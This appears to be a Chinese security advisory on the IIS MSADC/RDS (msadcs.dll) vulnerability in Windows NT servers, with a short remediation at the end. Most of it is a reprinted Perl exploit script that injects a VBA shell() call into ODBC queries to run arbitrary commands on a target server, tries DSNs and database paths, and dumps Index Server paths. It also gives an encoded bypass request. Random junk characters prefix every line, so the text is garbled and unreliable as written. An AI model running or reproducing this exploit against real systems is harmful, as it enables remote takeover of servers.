IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}~L.qG [@.!~E)P 涉及程序：
')cMiX\v Microsoft NT server
P5UL4uyl : . Wr{"` 描述：
{z{bY\ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yK=cZw%D .6Pw|xu`Pw 详细：
5?x>9C a 如果你没有时间读详细内容的话，就删除:
(JOgy .5C~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
r 8 RoE`/T 有关的安全问题就没有了。
,>%}B3O:Y= Vh4X%b$TV 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
rbWP78 -Ps!LI{@ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
*_d7 E 关于利用ODBC远程漏洞的描述，请参看:
X9V *UXTc ;>Ib^ov http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @J/K-.r koug[5T5 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
) AvN\sC http://www.microsoft.com/security/bulletins/MS99-025faq.asp dl.p\t(1 3c a (i/c 这里不再论述。
%WjXg:R fb e[@#: 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
MDn ua =c\>(2D /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(,0(
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
GBPo8L" 9 8 <Q dMkI ;@oN s- #将下面这段保存为txt文件，然后: "perl -x 文件名"
&OH={Au Fww :$^_ k #!perl
W:pIPDx1=! #
NXrJ fp # MSADC/RDS 'usage' (aka exploit) script
s{ *[]! #
k5'Vy8q # by rain.forest.puppy
_ 9F9W{' #
o6.^*%kM' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
f*?]+rz # beta test and find errors!
iP7(tnlW$ rX2 .i7i, use Socket; use Getopt::Std;
yPb" V getopts("e:vd:h:XR", \%args);
!$gR{XH$] GjvOM y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N 5lDS I&x= ; if (!defined $args{h} && !defined $args{R}) {
9y"@( print qq~
0AL=S$B) Usage: msadc.pl -h <host> { -d <delay> -X -v }
p8Qk 'F=h -h <host> = host you want to scan (ip or domain)
fHx*e'eA -d <seconds> = delay between calls, default 1 second
v dc\R? -X = dump Index Server path table, if available
gCB |DY -v = verbose
@niHl -e = external dictionary file for step 5
Sw ig;` s"r* YlSp" Or a -R will resume a command session
g}1B;zGf iP ->S\ ~; exit;}
"#2a8# n FHUy9q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^ B fC if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8;RUf~q? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
K0|FY=#2y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6d<r= C= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
aC8} d if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
C)ERUH2i YYBDRR" if (!defined $args{R}){ $ret = &has_msadc;
(c=6yV@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2DrP"iGq5 1#< '&Lr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7x|9n . "cmd /c ";
?N *>*" $in=<STDIN>; chomp $in;
?]_$Dcmx $command="cmd /c " . $in ;
bN1|q| 9 f@wquG' if (defined $args{R}) {&load; exit;}
<lPm1/8 *v !9MU9[( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
BYL )nCc &try_btcustmr;
he;dq)-e9 +V ;l6D print "\nStep 2: Trying to make our own DSN...";
61C7.EZZ; &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B u~]ey1 P~ >O S5^ print "\nStep 3: Trying known DSNs...";
"c%0P"u &known_dsn;
F rfM3x6UM |6sp/38#p print "\nStep 4: Trying known .mdbs...";
XpB_N{ v9w &known_mdb;
Tztu}t]N [
)Iv^ U9 if (defined $args{e}){
Hw}Xbp[y print "\nStep 5: Trying dictionary of DSN names...";
K_|k3^xx" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
N2^=E1|_ c <B/V0] print "Sorry Charley...maybe next time?\n";
MzdV 2. exit;
&
p /|6N*>l)y ##############################################################################
/$Nsd /=nJRC 3. sub sendraw { # ripped and modded from whisker
}c,}V sleep($delay); # it's a DoS on the server! At least on mine...
24 ' J my ($pstr)=@_;
z% ?+AM)P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@e.C"@G die("Socket problems\n");
X:"i4i[}{9 if(connect(S,pack "SnA4x8",2,80,$target)){
_Eo[7V{NY select(S); $|=1;
|.: q print $pstr; my @in=<S>;
^eY!U%. select(STDOUT); close(S);
^,TO#%$iE return @in;
MS~(D.@ZS } else { die("Can't connect...\n"); }}
!Iy_UfW V(I8=rVH ##############################################################################
]g 3JZF- BO?%'\ sub make_header { # make the HTTP request
zZPO&akB" my $msadc=<<EOT
:1QI8%L'$i POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=7=]{Cx[ User-Agent: ACTIVEDATA
o q
Xg Host: $ip
5uGq%(24 Content-Length: $clen
EH J.T~X Connection: Keep-Alive
( Y[Q, :D5Rlfj ADCClientVersion:01.06
L\J;J%fz. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,f%S'(>w ~g]Vw4pv --!ADM!ROX!YOUR!WORLD!
I3L<[-ZE Content-Type: application/x-varg
zFfr. g;L Content-Length: $reqlen
8b& /k8i: VPJElRSH EOT
AofKw ; $msadc=~s/\n/\r\n/g;
I5 p ?
[ return $msadc;}
Mk 6(UXY Qz1E 2yJ ##############################################################################
` r6 ,+& UcHJR"M~ c sub make_req { # make the RDS request
Rsm^Z!sn my ($switch, $p1, $p2)=@_;
Vx u0F]% my $req=""; my $t1, $t2, $query, $dsn;
tCH!m y_ L
ca}J&x]^ if ($switch==1){ # this is the btcustmr.mdb query
v0{i0%d,? $query="Select * from Customers where City=" . make_shell();
W:2( .? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$t[FH&c( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Ty?c C ** z2~ ti l elsif ($switch==2){ # this is general make table query
*H n8)x}E $query="create table AZZ (B int, C varchar(10))";
kS);xA8s] $dsn="$p1";}
D#C~pdp "%w u2%i elsif ($switch==3){ # this is general exploit table query
tX s\R(?T $query="select * from AZZ where C=" . make_shell();
zY{A'< \O $dsn="$p1";}
jvL[
JI,b y dA8wL elsif ($switch==4){ # attempt to hork file info from index server
TF\C@4Z $query="select path from scope()";
S9y} $dsn="Provider=MSIDXS;";}
v@L;x [Q U?Zq6_M& elsif ($switch==5){ # bad query
}o(-=lF $query="select";
N:/D+L $dsn="$p1";}
FDs>m
#e )N w8O{\ $t1= make_unicode($query);
g]H<}4lgq" $t2= make_unicode($dsn);
r q].UCj $req = "\x02\x00\x03\x00";
BX7kO0 j $req.= "\x08\x00" . pack ("S1", length($t1));
D/&o& G96 $req.= "\x00\x00" . $t1 ;
T.BW H2gRP $req.= "\x08\x00" . pack ("S1", length($t2));
A?P_DA $req.= "\x00\x00" . $t2 ;
6%_nZvRv $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
IOmfF[ return $req;}
.t !x<B +I|vzz`ZVr ##############################################################################
KkbD W3- b]#AI
qt sub make_shell { # this makes the shell() statement
hL{KRRf> return "'|shell(\"$command\")|'";}
tS=(}2Q 7`'Tb p ##############################################################################
"<1{9 /(*q}R3Kfo sub make_unicode { # quick little function to convert to unicode
}&J q}j my ($in)=@_; my $out;
:crW9+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
FvjPdN/L?R return $out;}
dR,fXQm 7R\<inCQ ##############################################################################
@RKr yY) z Rr*7G sub rdo_success { # checks for RDO return success (this is kludge)
#)O6 5GI my (@in) = @_; my $base=content_start(@in);
aX'*pK/- if($in[$base]=~/multipart\/mixed/){
sDlO# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
aEeodA<( return 0;}
Z@!+v 19^ mz0 X3 ##############################################################################
/nA{#HY YN F k sub make_dsn { # this makes a DSN for us
BW4J > { my @drives=("c","d","e","f");
htF] W|z print "\nMaking DSN: ";
ggR.4&< foreach $drive (@drives) {
gjD Ho$ print "$drive: ";
HIZe0%WPw my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Kn1a>fLaJ_ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
E ~<JC"] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
rjYJs*# $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0x@
mZ return 0 if $2 eq "404"; # not found/doesn't exist
OQJ6e:BGt if($2 eq "200") {
q@8*Xa > foreach $line (@results) {
jQB 9j return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Tyx_/pJT } return 0;}
H* *Xu;/5@ s.C_Zf~3 ##############################################################################
&V/Mmm T
*z8\Lnv~k sub verify_exists {
k5pN my ($page)=@_;
%* }(}~ my @results=sendraw("GET $page HTTP/1.0\n\n");
0\P1; ak% return $results[0];}
Ad_h K O %Q|At gp ##############################################################################
zK@@p+n_#. H G^'I+Yn sub try_btcustmr {
vXje^>_6 my @drives=("c","d","e","f");
`b$.%S8uj= my @dirs=("winnt","winnt35","winnt351","win","windows");
~Mxvq9vaD 2BwO!Y[ foreach $dir (@dirs) {
0 @oJFJrO print "$dir -> "; # fun status so you can see progress
|CRn c: foreach $drive (@drives) {
*$g-:ILRuZ print "$drive: "; # ditto
vr =#3> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$>LQ6|XRu $reqlenlen=length( "$reqlen" );
X'iWJ8 $clen= 206 + $reqlenlen + $reqlen;
S"H2 7
.?$gpM?i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
4.t-i5 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
W'M*nR|xo else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Ysv"
6b} 3[*}4}k9 ##############################################################################
H4+i.*T # ep{F pB sub odbc_error {
]t"Ss_, my (@in)=@_; my $base;
PEZ!n.'S my $base = content_start(@in);
=UWI9M*sz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
I; rGD^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\'O"~W $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)Pv%#P-< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=T7.~W return $in[$base+4].$in[$base+5].$in[$base+6];}
0o&5 ]lEe print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
] D\D ~!R print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
VI *$em O0 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>XfbP] RZTiw^ ##############################################################################
u>vL/ nI (#c:b sub verbose {
9hyn`u. my ($in)=@_;
)8ZH-|N`!E return if !$verbose;
& 1f+, print STDOUT "\n$in\n";}
dSHDWu& G18b$z ##############################################################################
TB31-
() ^U/O !GK sub save {
ZbKg~jdF my ($p1, $p2, $p3, $p4)=@_;
N8df8=.kw open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$[ *w" iQ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_|`S3}q|d close OUT;}
;!Fn1|) r5^eNg k ##############################################################################
k+*u/neh x]j W<A sub load {
UJ2U1H54h my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
xyXa . open(IN,"<rds.save") || die("Couldn't open rds.save\n");
xskz) kk @p=<IN>; close(IN);
3 Jn ;} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
2&cT~ZX&' $target= inet_aton($ip) || die("inet_aton problems");
gs`q6 f%( print "Resuming to $ip ...";
v`T
c}c ' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qf-8<{T if($p[1]==1) {
)boE/4 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-mh3DhJ, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*{5fq_ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(/$^uWj if (rdo_success(@results)){print "Success!\n";}
{ P-): else { print "failed\n"; verbose(odbc_error(@results));}}
~&u HbTq elsif ($p[1]==3){
|Y.?_lC if(run_query("$p[3]")){
{M)Nnst "~ print "Success!\n";} else { print "failed\n"; }}
0=$T\(0g elsif ($p[1]==4){
' Pbr
v if(run_query($drvst . "$p[3]")){
:Hbv)tS\3w print "Success!\n"; } else { print "failed\n"; }}
uXiN~j &Be exit;}
#O&8A Pg{J{gn ##############################################################################
m]&SN z= ! 8 b ^, sub create_table {
B33\?Yj) my ($in)=@_;
8{ I|$*nB $reqlen=length( make_req(2,$in,"") ) - 28;
#\ErY3k 6& $reqlenlen=length( "$reqlen" );
@2#lI $clen= 206 + $reqlenlen + $reqlen;
yf,z$CR my @results=sendraw(make_header() . make_req(2,$in,""));
^B^9KEjTz return 1 if rdo_success(@results);
}6ldjCT/, my $temp= odbc_error(@results); verbose($temp);
mR)w X 6 return 1 if $temp=~/Table 'AZZ' already exists/;
vP,n(reM return 0;}
N$tGQ@
*n!J=yS ##############################################################################
NxI LRKwO 0"SU_j Qzv sub known_dsn {
~.|_ RdN # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
w32y3~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9-
# R)4_ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fN2lLn9/u "banner", "banners", "ads", "ADCDemo", "ADCTest");
y1#1Ne_ -:rUw$3J foreach $dSn (@dsns) {
wuo,kM print ".";
T
u'{&
next if (!is_access("DSN=$dSn"));
:23P!^Y
if(create_table("DSN=$dSn")){
!5N.B|N t print "$dSn successful\n";
St^5Byd< if(run_query("DSN=$dSn")){
xyxy` qR A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@(lh%@hO print "Something's borked. Use verbose next time\n";}}} print "\n";}
7|H$ /] }QmqoCAE~m ##############################################################################
{.]7!ISl5 xYB{;K sub is_access {
;F Eqe 49 my ($in)=@_;
[ fy LV` $reqlen=length( make_req(5,$in,"") ) - 28;
K)P%;X $reqlenlen=length( "$reqlen" );
!@"OB~ $clen= 206 + $reqlenlen + $reqlen;
SS 2%q v my @results=sendraw(make_header() . make_req(5,$in,""));
3(UVg! t my $temp= odbc_error(@results);
%}T6]S)%u verbose($temp); return 1 if ($temp=~/Microsoft Access/);
uw8f ~:LT return 0;}
! `r$"}g 2A!FDr~cdT ##############################################################################
]_$[8#kg 5IG-~jzCLb sub run_query {
(V@HR9?W) my ($in)=@_;
./~(7o$ $reqlen=length( make_req(3,$in,"") ) - 28;
*K; ~!P $reqlenlen=length( "$reqlen" );
J~ - 4C) $clen= 206 + $reqlenlen + $reqlen;
AOx[ my @results=sendraw(make_header() . make_req(3,$in,""));
" Yy n/ return 1 if rdo_success(@results);
t`QENXA} my $temp= odbc_error(@results); verbose($temp);
Bbp|!+KP{( return 0;}
TsZ@ LH6 vLuf ##############################################################################
=BrRYA K>
e7 pu sub known_mdb {
>R=|Wo`Ri my @drives=("c","d","e","f","g");
wKHBAW[i] my @dirs=("winnt","winnt35","winnt351","win","windows");
fXB0j;A my $dir, $drive, $mdb;
`F6C- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
tf G@&&%9 fc@A0Hf # this is sparse, because I don't know of many
&m vSiyKX my @sysmdbs=( "\\catroot\\icatalog.mdb",
048kP Xm` "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
DV{=n C "\\system32\\certmdb.mdb",
Hx:;@_g q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
hv+zGID7 PI<vxjOK` my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[ /ZO q "\\cfusion\\cfapps\\forums\\forums_.mdb",
:hA#m[ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
~)'k 9?0 "\\cfusion\\cfapps\\security\\realm_.mdb",
Q@H V- (A "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Y\tui+?J "\\cfusion\\database\\cfexamples.mdb",
c`Wa^( "\\cfusion\\database\\cfsnippets.mdb",
tnIX:6 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
u= yOu^={ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|cY`x(?yP "\\cfusion\\brighttiger\\database\\cleam.mdb",
GKCroyor "\\cfusion\\database\\smpolicy.mdb",
2"~8 Z(0 "\\cfusion\\database\cypress.mdb",
:Q q#Z "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mA} "a<0 "\\website\\cgi-win\\dbsample.mdb",
-']56o_sQ/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^C%<l ( b "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
\Og+ c% ); #these are just
B-ESFATc foreach $drive (@drives) {
"w _aM7x_ foreach $dir (@dirs){
i?;Kq~, foreach $mdb (@sysmdbs) {
'f|o{ print ".";
L rPkxmR if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y?!"6t7& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
4.( 4x& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*|l/6!WM print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
CQ2jP
G*py } else { print "Something's borked. Use verbose next time\n"; }}}}}
< 7$1kGlA ^}C \zW foreach $drive (@drives) {
jqkqZ F foreach $mdb (@mdbs) {
B\n[.(].r print ".";
F5#YOck&, if(create_table($drv . $drive . $dir . $mdb)){
H:\k}*w print "\n" . $drive . $dir . $mdb . " successful\n";
" h ^Z if(run_query($drv . $drive . $dir . $mdb)){
aN=B] {! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2BobH_ H } else { print "Something's borked. Use verbose next time\n"; }}}}
J-4:H
gx }
b>$S<td !%> 7Dw(kt ##############################################################################
LIdF 0 Hr4}3.8 sub hork_idx {
O1kl70,`R print "\nAttempting to dump Index Server tables...\n";
L4f3X~8,b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9C i-v/M] $reqlen=length( make_req(4,"","") ) - 28;
GH
xp7H $reqlenlen=length( "$reqlen" );
DeYV $W
B $clen= 206 + $reqlenlen + $reqlen;
yppo6 HGD my @results=sendraw2(make_header() . make_req(4,"",""));
S@sO;-^+ if (rdo_success(@results)){
u-C)v*# L my $max=@results; my $c; my %d;
s<o7!!c for($c=19; $c<$max; $c++){
iyog`s c $results[$c]=~s/\x00//g;
TB^$1C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
w*MpX
U< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wdZ/Xp9] $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#89!' W $d{"$1$2"}="";}
=rK+eG#, foreach $c (keys %d){ print "$c\n"; }
>OK^D+v"j } else {print "Index server doesn't seem to be installed.\n"; }}
8.~kK<)! yOKI*.} ##############################################################################
abEmRJTmW -!9G0h&i| sub dsn_dict {
nxHkv`s k open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y4( while(<IN>){
l lsfTrp $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*\ q
d next if (!is_access("DSN=$dSn"));
MJrR[h] if(create_table("DSN=$dSn")){
'P} 0FktP` print "$dSn successful\n";
8sCv]|cn if(run_query("DSN=$dSn")){
]0\MmAJRn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
y)gKxRaCS print "Something's borked. Use verbose next time\n";}}}
[c06 N$: print "\n"; close(IN);}
xP ,hTE YgoBHE0# ##############################################################################
F sryEHz n-OL0$Xu sub sendraw2 { # ripped and modded from whisker
"g#i'"qnW sleep($delay); # it's a DoS on the server! At least on mine...
"wHFN>5B my ($pstr)=@_;
~3 bPIg7D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E+J qWR5 die("Socket problems\n");
:/Qq@]O> if(connect(S,pack "SnA4x8",2,80,$target)){
?pZOeqqu$ print "Connected. Getting data";
kS h( u open(OUT,">raw.out"); my @in;
z$xo$R( select(S); $|=1; print $pstr;
GM<-&s!Uj while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
b%5 f&N close(OUT); select(STDOUT); close(S); return @in;
tnG# IU
* } else { die("Can't connect...\n"); }}
pHJ3nHLQ E@3 aI
Axh ##############################################################################
#C3.Jef l/awS!Q/nF sub content_start { # this will take in the server headers
O8.5}>gDn. my (@in)=@_; my $c;
#1G:lhkC for ($c=1;$c<500;$c++) {
xZv# Es%# if($in[$c] =~/^\x0d\x0a/){
@y&b w9\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
@|%2f@h else { return $c+1; }}}
XvlU*TO~(~ return -1;} # it should never get here actually
^v`\x5"Vp _#h_: ##############################################################################
uR r o?m< z]9MM
2+ sub funky {
|H+Wed| my (@in)=@_; my $error=odbc_error(@in);
U ZsH9
o if($error=~/ADO could not find the specified provider/){
!I
Qck8Y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
abLnI =W` exit;}
C 6AUNRpl if($error=~/A Handler is required/){
Z/;aT -N print "\nServer has custom handler filters (they most likely are patched)\n";
Nu7
!8[?r* exit;}
w*JGUk if($error=~/specified Handler has denied Access/){
$ DSZO!pB print "\nServer has custom handler filters (they most likely are patched)\n";
%1$,Vs<RH exit;}}
>
"= >3 HoL
Et8Q ##############################################################################
3kMf!VL FG*r'tC~r sub has_msadc {
ilx)*Y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
t1y4 7fX6 my $base=content_start(@results);
)T H@# 1 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0=E]cQwh return 0;}
0s2v'A[\ `^Em&6!! ########################
<yFu*(Q %F4%H|G `lt"[K< 解决方案：
Gk /f Bs 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X(-4<B 2、移除web 目录: /msadc
